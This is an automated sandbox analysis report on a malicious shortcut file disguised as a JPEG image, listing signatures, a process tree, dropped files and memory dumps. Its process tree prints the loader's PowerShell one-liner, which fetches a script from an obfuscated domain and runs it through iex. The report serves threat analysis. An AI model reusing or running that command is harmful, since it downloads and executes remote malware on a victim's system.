Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 10:18

General

  • Target
    IMG_20260728_023509.jpg.lnk
  • Size 1KB
  • Sample260728-mcap2svajf
  • SHA256 f28e0a8c188b2471c2e8b802643385485fde54a0e0ef114dce845e8c2a77e485
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_023509.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2212
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('op','reservphotoinstaynow.sh')[1,0] -join $tBhqsSA8) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3360
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\agu3iupd\agu3iupd.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4748
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES289D.tmp" "c:\Users\Admin\AppData\Local\Temp\agu3iupd\CSC2AF2FF842D84A31BB734F1715A4A988.TMP"
          4⤵
            PID:3460

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RES289D.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES289D.tmp
          • Size 1KB
          • SHA256 05b8f2235abd4558f1454cfc60f0ca59f6b7e1c021f2f049659d96663ba379d5
          • MD5 SHA1 SHA512 TLSH

          agu3iupd.dll

          • Path C:\Users\Admin\AppData\Local\Temp\agu3iupd\agu3iupd.dll
          • Size 3KB
          • SHA256 1f20e9ac9a536b763f83eb934f0e1eb2f0e247f82b5dbae52a62d820bc2e06c1
          • MD5 SHA1 SHA512 TLSH

          CSC2AF2FF842D84A31BB734F1715A4A988.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\agu3iupd\CSC2AF2FF842D84A31BB734F1715A4A988.TMP
          • Size 652B
          • SHA256 d3eecdd4788762cd94514ee486eadecc1eb3d4b629fd7e5463f6d6e155663903
          • MD5 SHA1 SHA512 TLSH

          agu3iupd.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\agu3iupd\agu3iupd.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          agu3iupd.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\agu3iupd\agu3iupd.cmdline
          • Size 369B
          • SHA256 74b9a12e090fdf3cd2ab0f7c31ab77abb1cc17681ba72b0554f4ee78f73bda6a
          • MD5 SHA1 SHA512 TLSH

          memory/3360-9-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

          memory/3360-18-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

          memory/3360-11-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

          memory/3360-12-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

          memory/3360-13-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

          memory/3360-14-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

          memory/3360-15-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

          memory/3360-16-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

          memory/3360-17-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

          memory/3360-10-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

          memory/3360-2-0x00007FFC1769F000-0x00007FFC176A0000-memory.dmp

          memory/3360-8-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

          memory/3360-31-0x0000025232550000-0x0000025232558000-memory.dmp

          memory/3360-7-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

          memory/3360-6-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

          memory/3360-5-0x0000025218590000-0x00000252185B2000-memory.dmp

          memory/3360-32-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

          memory/3360-33-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp